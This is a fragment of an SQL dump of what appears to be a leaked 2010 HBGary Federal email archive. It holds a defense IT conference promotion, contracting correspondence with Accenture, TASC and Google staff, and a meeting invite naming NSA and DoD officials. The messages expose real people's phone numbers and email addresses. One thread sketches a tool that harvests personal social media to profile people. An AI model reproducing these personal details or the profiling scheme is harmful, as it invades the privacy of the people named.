\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1147,'aaron_hbgary_com/1147.html'),(8177,'2010-07-02','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006399.M49694P14101Q3031.eml','aaron@hbgary.com','Speakers finalized for our sister Chapter\'s AFCEA NOVA Warfighter Support Agencies IT Day - July 15 One - DISA, MHS, JIEDDO, DLA, BTA, USSOCOM, DTRA','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name, but an even \r\n        more impressive line-up of speakers:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs -\r\n        Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        Gratis for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n        www.afceanova.org/agenciesitday\r\n       \r\n        About Agencies IT Day\r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event goes beyond our traditional Uniformed \r\n        Services IT Days &amp; focuses on the Agencies and Commands who Support \r\n        the Warfighter in their operational &amp; business missions. See details \r\n        below on the highlighted agencies and why you should be following them.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DoD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Program \r\n        highlights include:\r\n      \r\n         Briefs \r\n          from STRATCOM, MHS, JIEDDO, BTA, DLA (see below why these \r\n          are agencies you should be following)\r\n        An Afternoon \r\n          with the DISA (did you miss Nashville? come to Agencies \r\n          IT Day)\r\n        Healthcare \r\n          Panel, and Town-Hall\r\n        Parallel \r\n          Small Business Program with speakers from BTA, DTRA, DLA, USTRANSCOM\r\n         Tribute \r\n          to WW II Veteran Colonel William Ryan, Jr.\r\n      \r\n      Agencies \r\n        &amp; Speakers Represented\r\n      &#8220;An \r\n        Afternoon with DISA&#8221;\r\n      DEFENSE \r\n        INFORMATION SYSTEMS AGENCY (DISA).&nbsp; Our featured agency \r\n        for the afternoon is DISA, a Combat Support Agency that engineers and \r\n        provides command and control capabilities and enterprise infrastructure \r\n        to continuously operate and assure a global net-centric enterprise in \r\n        direct support to joint warfighters, National level leaders, and other \r\n        mission and coalition partners across the full spectrum of operations.&nbsp; \r\n        DISA manages over $6B of acquisitions and contracts, and continues its \r\n        build of the Global Information Grid (GIG), providing Netcentric Enterprise \r\n        Services to access, post, process, use, store, and manage information \r\n        on demand, providing world-class computing services, and overseeing the \r\n        evolution of existing DOD Command and Control (C2) systems. Their largest \r\n        IT contract, GIG Services Management Operations (formerly DISN Global \r\n        Solutions) is valued at $4.6B and is facing a recompete. In addition, \r\n        DISA oversees acquisition of three other ACAT I major programs, three \r\n        major services acquisitions, and about 50 smaller programs. They are about \r\n        to recompete other contracts for small businesses such as GSM Engineering, \r\n        Transition, and implementation, valued at $300M. More upcoming business \r\n        opportunities include Future Commercial SATCOM Services (FCSA), and multiple \r\n        solicitations in Cyber Security and Information Assurance, Joint Command \r\n        and Control, Enterprise Services, Spectrum Support, Internal Operations \r\n        Support, and Physical Security. \r\n      At this IT \r\n        Day, DISA plans to unveil their new approach towards IT that will affect \r\n        their management and acquisitions going forward.&nbsp; DISA will also \r\n        be in the midst of moving from Virginia to the Ft Meade campus.&nbsp; \r\n        Throughout these changes, DISA will depend on their industry partners.&nbsp;\r\n      DISA \r\n        Speakers:\r\n      \r\n        Maj. \r\n          Gen. Ronnie D. Hawkins, USAF - Vice Director, Defense Information \r\n          Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Anthony &#8220;Tony&#8221; Montemarano - Component Acquisition \r\n          Executive, Defense Information Systems Agency (DISA) (confirmed)\r\n        Ms. \r\n          Paige Atkins - Director of the Strategic Planning and Information \r\n          Directorate, Defense Information Systems Agency (DISA) (confirmed)\r\n        Mr. \r\n          Henry Sienkiewicz - CIO, DISA (confirmed)\r\n        Mr. \r\n          Dave Bennett - Dep PEO-GES, DISA (confirmed)\r\n        Mr. \r\n          Martin Gross - Dep PEO-C2C, DISA (confirmed)\r\n      \r\n      Additional \r\n        Featured Speakers from the following Agencies:\r\n      JOINT \r\n        IED DEFEAT ORGANIZATION (JIEDDO) leads DoD actions to rapidly \r\n        provide Counter Improvised Explosive Device capabilities in support of \r\n        the Combatant Commanders and to enable the defeat of the IED as a weapon \r\n        of strategic influence.\r\n      JIEDDO \r\n        Speaker:\r\n      \r\n        Mr. \r\n          Frank Larkin - Deputy Director, Operations Integration, Joint \r\n          IED Defeat Organization (JIEDDO)\r\n      \r\n      MILITARY \r\n        HEALTH SYSTEM (MHS) provides healthcare services in support of \r\n        the nation&#8217;s military mission.&nbsp; They acquire almost $2B to \r\n        meet the medical needs of the war fighter and to capture and manage patient \r\n        health data from the foxhole to the medical treatment facilities.&nbsp; \r\n        MHS maintains military electronic health records, manages medical combat \r\n        support systems, and medical supply logistics systems.&nbsp; The Military \r\n        Health System\'s Electronic Health Record is a high priority. Currently \r\n        a system of systems, it provides access to patient data across austere \r\n        and low bandwidth environments, as well as in brick and mortar hospitals.&nbsp; \r\n        MHS is continually evolving these systems and capabilities to better support \r\n        enhanced care for more than 9.6M beneficiaries. MHS challenges include \r\n        system performance/interoperability and increased data sharing as the \r\n        veteran population grows. Their first step is to stabilize and improve \r\n        what currently exists to increase speed, reliability, and provide the \r\n        end users with an improved look and feel.&nbsp; This will be followed \r\n        with updates and added versatility, while remaining operational 24/7 to \r\n        ensure patient data is in the hands of those who need it, where they need \r\n        it, and when they need it to care for our Service members, their family \r\n        members, and our retirees.\r\n      MHS \r\n        &amp; Military Health IT Speakers:\r\n      \r\n        Mr. \r\n          Charles Campbell - CIO, MHS (confirmed)\r\n        Lt \r\n          Col Kevin P Seeley, USAF, MSC, CHE, CPHIMS - Air Force Medical \r\n          Service Assistant CIO &amp; Chief, Enterprise Architecture Division, \r\n          Air Force Medical Support Agency (confirmed)\r\n        Col. \r\n          Claude Hines - Deputy Program Executive Officer, Health \r\n          Information Management System (DHIMS) (confirmed)\r\n        Mr. \r\n          Gilmer - Chief Technology Officer, US Army Northern Regional Medical \r\n          Command (ACSIM) Walter Reed AMC (DOIM) (invited)\r\n        Navy \r\n          BUMED (invited)\r\n      \r\n      BUSINESS \r\n        TRANSFORMATION AGENCY (BTA) guides the transformation of business \r\n        operations throughout the Department of Defense and delivers Enterprise-level \r\n        capabilities that align to warfighter needs. The BTA through its 8 directorates \r\n        is recognized as the champion for driving and accelerating improvements \r\n        to business operations across the Department of Defense. To accomplish \r\n        the goal of providing consistency, consolidation and coordination across \r\n        the Department of Defense, the BTA produced the Enterprise Transition \r\n        Plan (ETP) -- an integrated and executable roadmap that observes the standards \r\n        laid out in the Business Enterprise Architecture (BEA). The ETP and the \r\n        BEA enable the Department to transform business operations to achieve \r\n        improved warfighter support while enabling financial accountability across \r\n        the Department of Defense.\r\n      BTA \r\n        Speakers:\r\n      \r\n        Mr. \r\n          David Fisher - Director, Defense Business Transformation Agency \r\n          (BTA) (confirmed)\r\n        Mr. \r\n          Keith Seaman, Acting Director, DBSAE Business Transformation \r\n          (confirmed) \r\n      \r\n      DEFENSE \r\n        LOGISTICS AGENCY (DLA), the largest DOD combat support agency, \r\n        provides worldwide logistics support to both military and civilian agencies \r\n        and foreign countries.&nbsp; DLA manages over 5.2 million items through \r\n        eight supply chains with sales and services exceeding $42B in FY08.&nbsp; \r\n        They have numerous IT initiatives underway and planned to support the \r\n        management of supply chains, warehousing and depots, and IT infrastructure.\r\n      DLA \r\n        Speaker:\r\n      \r\n        Mr. \r\n          Thomas Michelli - Director Enterprise Solutions, Defense Logistics \r\n          Agency (DLA) (confirmed)\r\n      \r\n      Plus \r\n        Additional Briefs from:\r\n      \r\n        Mr. \r\n          John Wilcox, - Director, C4 Systems (J6), U.S. Special Operations \r\n          Command (USSOCOM)\r\n        Mr. \r\n          Dave Belva, CIO, Defense Threat Reduction Agencey (DTRA) (confirmed)\r\n        Mr. \r\n          Dave Devries, DoD Chief Architect &amp; Principal Director, \r\n          DoD Deputy CIO, Office of the ASD-NII/DoD-CIO (confirmed)\r\n      \r\n      WORLD \r\n        WAR II VETERAN Colonel William Ryan, Jr. served with the 15th \r\n        Infantry Regiment, 3rd Infantry Division from November 1944 until the \r\n        end of the war.&nbsp; He commanded I Company, 3rd Battalion, in the fighting \r\n        for Sigolsheim, Bennwihr, and Mittelwihr outside of Colmar, France in \r\n        December &#8216;44 and for the rest of the Battle of the Colmar Pocket \r\n        into February &#8216;45. He was wounded on 15 March 1945 going through \r\n        the Siegfried Line and didn\'t return to the Regiment until late April. \r\n        After the war he became a missile man, and rose to Colonel in that branch.&nbsp; \r\n        He retired in 1996, with 53 years on active duty, having served almost \r\n        30 years with the American Battle Monuments Commission.\r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Gratis \r\n        for Mil/Gov Employees who pre-register\r\n        Early-Bird Rate for Industry Extended\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary \r\n          Sessions &amp; Small-group Meetings - \r\n          runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Small \r\n                      Business Track\r\n                      Sponsorship\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Diamond Sponsor\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Premiere Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Platinum Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n              \r\n                    \r\n                    \r\n                    \r\n                    \r\n                    \r\n                \r\n                    \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Gold Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                  \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Small Business Silver Sponsors\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                  \r\n                  \r\n                \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n      \r\n\r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n        \r\n          \r\n          Key \r\n          Sponsorship Slots are\r\n          Still \r\n          Available!\r\n        \r\n        &nbsp;\r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n        Forces Communications &amp; Electronics Association, Northern Virginia \r\n        Chapter\r\n        U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n        email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n      \r\n      You have received \r\n        this message as a member of the AFCEA DC family. On occassion we share \r\n        information with our mailing list about events sponsored by our sister \r\n        Chapters and our strategic partners. We hope you consider the event above \r\n        if it fits with the interests of your business or agency.\r\n      Armed Forces Communications \r\n        and Electronics Association, Washington, D.C. Chapter\r\n        1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n        info@afceadc.org | tel: 202-701-5808 | fax: 202-330-5012\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',7042,'aaron_hbgary_com/7042.html'),(8178,'2010-07-02','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006399.M511678P14101Q3033.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Information on PointAbout','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI did not get our POCs card.&nbsp; Who do we send the NDA and TA\r\nto?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 30, 2010 11:11 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Information on PointAbout\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\ncapabilities deck:&nbsp;http://link.PointAbout.com/capabilities&nbsp;\r\nwhitepaper on our mobile strategy &amp; dev process:\r\nhttp://link.PointAbout.com/whitepaper&nbsp;\r\n\r\na slide on what the mobile landscape looks like:&nbsp;http://link.Pointabout.com/pyramid&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2424,'aaron_hbgary_com/2424.html'),(8179,'2010-07-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006399.M720940P14101Q3034.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Slides for the 6th','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nrodney.riven@accenture.com [mailto:rodney.riven@accenture.com] \r\nSent: Friday, July 02, 2010 6:32 AM\r\nTo: penny@hbgary.com\r\nSubject: Slides for the 6th\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nRick Ricart is out today. Would it be possible to have the\r\nslides sent to me so that I can forward them on to Rick Smith?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nRodney Riven\r\n\r\n&nbsp;\r\n\r\nAccenture\r\n\r\nTechnical\r\nArchitect, Defense\r\n\r\n9432\r\nBaymeadows Road, Suite 155\r\n\r\nJacksonville,\r\nFL 32256\r\n\r\n&nbsp;work:\r\n904-899-0290 x1712\r\n\r\n&nbsp;cell:\r\n904-451-1205\r\n\r\nemail: rodney.riven@accenture.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the\r\nemail by you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7112,'aaron_hbgary_com/7112.html'),(8180,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006403.M354098P14101Q3035.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Slides for the 6th','Sorry just got out of some meetings with Blackbird a bit a go.\r\n\r\nHere you go.\r\n\r\n\r\n\r\nThis is what I sent to Rick.\r\n\r\nAaron\r\n\r\nOn Jul 2, 2010, at 2:53 PM, Penny Leavy-Hoglund wrote:\r\n\r\n>  \r\n>  \r\n> From: rodney.riven@accenture.com [mailto:rodney.riven@accenture.com] \r\n> Sent: Friday, July 02, 2010 6:32 AM\r\n> To: penny@hbgary.com\r\n> Subject: Slides for the 6th\r\n>  \r\n> Penny,\r\n>  \r\n> Rick Ricart is out today. Would it be possible to have the slides sent to me so that I can forward them on to Rick Smith?\r\n>  \r\n> Thanks,\r\n>  \r\n> Rodney Riven\r\n>  \r\n> Accenture\r\n> Technical Architect, Defense\r\n> 9432 Baymeadows Road, Suite 155\r\n> Jacksonville, FL 32256\r\n>  work: 904-899-0290 x1712\r\n>  cell: 904-451-1205\r\n> email: rodney.riven@accenture.com\r\n>  \r\n> This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13715,'aaron_hbgary_com/13715.html'),(8181,'2010-07-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006403.M965698P14101Q3036.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Information on PointAbout','Chris,Scott Suhy &lt;Scott.Suhy@PointAbout.com&gt;Give me a call when you get a second. &nbsp;I spoke with Blackbird this morning. &nbsp;I think we need to add them to the team. &nbsp;Also I saw that we contacted the same Google guy today, so I defer to your meeting notice, look forward to the discussion.AaronOn Jul 2, 2010, at 2:28 PM, Clair, Chris (TASC) wrote:I did not get our POCs card.&nbsp; Who do we send the NDA and TA to?&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, June 30, 2010 11:11 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Information on PointAbout&nbsp;capabilities deck:&nbsp;http://link.PointAbout.com/capabilities&nbsp;whitepaper on our mobile strategy &amp; dev process:http://link.PointAbout.com/whitepaper&nbsp;a slide on what the mobile landscape looks like:&nbsp;http://link.Pointabout.com/pyramid&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',367,'aaron_hbgary_com/367.html'),(8182,'2010-07-02','\"Michael Geldner\" <mgeldner@google.com>','/aaron@hbgary.com/new/1297006404.M206959P14101Q3037.eml','\"aaron\" <aaron@hbgary.com>','Got your message...','Mr. Barr,I received your message and I&#39;ll see you on the 14th. In the mean time, if you have any questions ahead of the meeting, please feel free to contact me by phone or email (usually easier by email).\r\n\r\nThanks,-mikeMichael H. GeldnerFederal Account Manager\r\n\r\nGoogle410-567-5361--Read the new Google Apps Security white paper!\r\n\r\n--This email and the information it contains are confidential and may be privileged. If you have received this email in error please notify me immediately. You should not copy it for any purpose, or disclose its contents to any other person. Internet communications are not secure and, therefore, Google does not accept legal responsibility for the contents of this message as it has been transmitted over a public network. If you suspect the message may have been intercepted or amended please call me. \r\n\r\n\r\n\r\n',4754,'aaron_hbgary_com/4754.html'),(8183,'2010-07-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006404.M468008P14101Q3038.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark@hbgary.com','Re: Tool Thoughts','On Fri, Jul 2, 2010 at 7:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nA far reaching tool would have some of the following functions:\r\n\r\nCollect the following data.\r\n\r\nOn organizations:\r\nJob Boards\r\nOpportunity Boards\r\nBusiness forums or new feeds for partnerships, wins, etc.\r\n\r\nOn People\r\nPersonal sites\r\nSocial Media&gt;&gt;&gt;This all sounds good. \r\n\r\nTry to make correlations of personal and organizational movements based on information.  So FBO posts opportunity, we harvest requirements, dates.  We have database of what companies have what skillsets, programs.  This gets refined by wins.  Job Requisition boards note skillsets required and place of employment and makes some correlations to programs.  Some of this gets justified against publicized wins.... you get the point.\r\n\r\n\r\nThis would also be an amazing competitive intelligence tool that we could sell our services to organizations.&gt;&gt;&gt;This was a great idea three months ago when I thought of it.  Mark and I have date-timestamped diagrams, lol.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',8591,'aaron_hbgary_com/8591.html'),(8184,'2010-07-02','penny@hbgary.com','/aaron@hbgary.com/new/1297006404.M691658P14101Q3039.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Enhance Situational Awareness','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Bob Slapnik\";RSVP=FALSE:mailto:bob@hbgary.com\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=FALSE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100702T200928Z\r\nDESCRIPTION:When: Tuesday\\, July 06\\, 2010 11:00 AM-1:00 PM (UTC-08:00) Pac\r\n	ific Time (US & Canada).\\nWhere: 11951 Freedom Drive Reston VA\\, 20190\\n\\n\r\n	Note: The GMT offset above does not reflect daylight saving time adjustmen\r\n	ts.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\nMeeting with Accenture.  This is for DoD\\, s\r\n	ee below.  Bob not sure you can make it.  \\n\\n-----Original Appointment---\r\n	--\\nFrom: richard.ricart@accenture.com On Behalf Of richard.n.smith@accent\r\n	ure.com\\nSent: Monday\\, June 28\\, 2010 11:39 AM\\nTo: richard.n.smith@accen\r\n	ture.com\\; penny@hbgary.com\\; chris.lee@virtualarmor.com\\nSubject: FW: Enh\r\n	ance Situational Awareness\\nWhen: Tuesday\\, July 06\\, 2010 11:00 AM-1:00 P\r\n	M (UTC-08:00) Pacific Time (US & Canada).\\nWhere: 11951 Freedom Drive Rest\r\n	on VA\\, 20190\\n\\n\\n\\nFrom one of Rick Smith’s emails:\\n \\nWho is coming \r\n	to the meeting:\\n\\n1.	John Hunter : works at DIAP (GS-15).  He provides de\r\n	ep feedback to the ESSG and the DIAP Director.  He is in charge many of th\r\n	e computer network defense capabilities that goes in DoD.  I use to work f\r\n	or him at the DIAP and helped in many of the working groups that supported\r\n	 the ESSG.  The ESSG is the Enterprise Solution Steering Group consist of \r\n	the 4 major services\\, NSA\\, DISA\\, JFCOM\\, Joint and STRATCOM.  They deci\r\n	de on the security tools like SCVI\\, SCRR\\, HBSS\\, InFOT and other capabil\r\n	ities to be implemented across the GIG.  John will be seeing how Accenture\r\n	 can help in providing Governance and Policy around the Framework we are s\r\n	howing. Namely FDCC.\\n2.	Michelle Iverson: NSA (GS-15):  She is the IA lea\r\n	d at NSA and has influence at Cyber Command.  She is looking to see how we\r\n	 can provide value to the operator.  He buy in on this will help to push J\r\n	ohn Hunter to sponsor this as a pilot.\\n3.	LTC Derek Streeter:  ESSG membe\r\n	r and just took over around 6 months ago.  He represents Joint Forces and \r\n	is very interested in our capability.  Having him understand the framework\r\n	 and providing feedback will be a big help if this gets to the ESSG.\\n4.	V\r\n	endors we will be using:  HBGary and Agiliance.\\n5.	Teaming Partners:  Pro\r\n	fessional Solutions and Wyle Lab.  Professional Solutions already has a co\r\n	ntract with NSA and DIAP.  Wyle Lab has many contracts with DoD and is see\r\n	n as thought leaders in this area.  \\n\\nWhat we are presenting:\\nDDN’s C\r\n	apabilities and how CAR compliments it’s framework.  The them is to prov\r\n	ide better Enhance Situational Awareness where leadership and operators ca\r\n	n prioritize the risk.  They can then implement Risk Management.  The DDN\r\n	’s engine also helps to mitigate and remediate the infrastructure.  The \r\n	other them is to show how we have taken SCAP and use this to aggregate the\r\n	 information to send up to a command and control.  We are SCAP compliant a\r\n	s a consumer and a producer.  \\n \\n \\n-----Original Appointment-----\\nFrom\r\n	: Smith\\, Richard N. \\nSent: Friday\\, June 11\\, 2010 11:19 AM\\nTo: Smith\\,\r\n	 Richard N.\\; Kleiner\\, David CTR NII/DoD-CIO\\; Adams\\, Amanda M\\; Corrody\r\n	\\, Lauren B\\; mtivers@nsa.gov\\; Hunter\\, John Mr NII/DoD-CIO\\; Riven\\, Rod\r\n	ney\\; Taneeshia.Watson.ctr@osd.mil\\; Christina McNemar\\; Votipka\\, David\\;\r\n	 Ricart\\, Richard\\nSubject: Enhance Situational Awareness\\nWhen: Tuesday\\,\r\n	 July 06\\, 2010 2:00 PM-4:00 PM (GMT-05:00) Eastern Time (US & Canada).\\nW\r\n	here: 11951 Freedom Drive Reston VA\\, 20190\\n \\n \\nWhen: Tuesday\\, July 06\r\n	\\, 2010 2:00 PM-4:00 PM (GMT-05:00) Eastern Time (US & Canada).\\nWhere: 11\r\n	951 Freedom Drive Reston VA\\, 20190\\n \\n*~*~*~*~*~*~*~*~*~*\\n \\nRick Smith\r\n	 CISSP\\, CISM\\, CCNA\\nSenior Manager - Cyber Security\\nNorth America Publi\r\n	c Security and Cyber Security Practice\\n11951 Freedom Drive\\nReston VA\\, 2\r\n	0190\\n(Mobile) 703-282-5099 \\nrichard.n.smith@accenture.com\\n \\n \\n\\nThis \r\n	message is for the designated recipient only and may contain privileged\\, \r\n	proprietary\\, or otherwise private information. If you have received it in\r\n	 error\\, please notify the sender immediately and delete the original. Any\r\n	 other use of the email by you is prohibited.\\n\\n\r\nDTEND:20100706T200000Z\r\nDTSTAMP:20100611T152131Z\r\nDTSTART:20100706T180000Z\r\nLAST-MODIFIED:20100702T201007Z\r\nLOCATION:11951 Freedom Drive Reston VA\\, 20190\r\nORGANIZER;CN=richard.n.smith@accenture.com:mailto:richard.n.smith@accenture\r\n	.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:FW: Enhance Situational Awareness\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E0080000000070EC363E5809CB01000000000000000\r\n	010000000AA557AD150F7334488A1AD882F7D98F0\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Tuesday\\, July 06\\, 2010 11:00 AM-1:00 PM (UTC-08:00) Pacific Ti\r\n	me (US &amp\\; Canada).\\n\\n\r\n	Where: 11951 Freedom Drive Reston VA\\, 20190\\n\\nNote: The \r\n	GMT offset above does not reflect daylight saving time adjustments.\r\n	\\n\\n*~*~*~*~\r\n	*~*~*~*~*~*\\n\\nMeeting with Accenture\r\n	.&nbsp\\; This is for DoD\\, see below.&nbsp\\; Bob not sure you can make it.\r\n	&nbsp\\; \r\n	\\n\\n\\n\\n-----Original Appointment-----\r\n	\\nFrom: richard.ricart@accenture.com\r\n	 On Behalf Of richard.n.smith@accenture.com\r\n	\\nS\r\n	ent:\r\n	 Monday\\, June 28\\, 2010 11:\r\n	39 AM\\nTo: richard.n.smith@accenture.com\\; penny@hbgary.com\\; chris.lee@virtualarmor.com\\nSubject:\r\n	 FW: Enhance Situational Awarene\r\n	ss\\n\r\n	When: Tuesday\\, July 06\\, 2010 11:00 AM-1:0\r\n	0 PM (UTC-08:00) Pacific Time (US &amp\\; Canada).\\nWhere: 11951 Freedom Drive Reston VA\\, 20190\\n\\n\\n\\n\\n\\nFrom one of Rick Smith’s emails:\\n\r\n	\\n \\n\\nWho is c\r\n	oming to the meeting:\\n\\n\\nJohn Hunter : works at DIAP (GS-15).  He provides deep feedback\r\n	 to the ESSG and the DIAP Director.  He is in charge many of the computer\r\n	 network defense capabilities that goes in DoD.  I use to work for him at\r\n	 the DIAP and helped in many of the working groups that supported the ESSG\r\n	.  The ESSG is the Enterprise Solution Steering Group consist of the 4 ma\r\n	jor services\\, NSA\\, DISA\\, JFCOM\\, Joint and STRATCOM.  They decide on t\r\n	he security tools like SCVI\\, SCRR\\, HBSS\\, InFOT and other capabilities t\r\n	o be implemented across the GIG.  John will be seeing how Accenture can h\r\n	elp in providing Governance and Policy around the Framework we are showing\r\n	. Namely FDCC.\\n\\nMichelle Iv\r\n	erson: NSA (GS-15):  She is the IA lead at NSA and has influence at Cyber\r\n	 Command.  She is looking 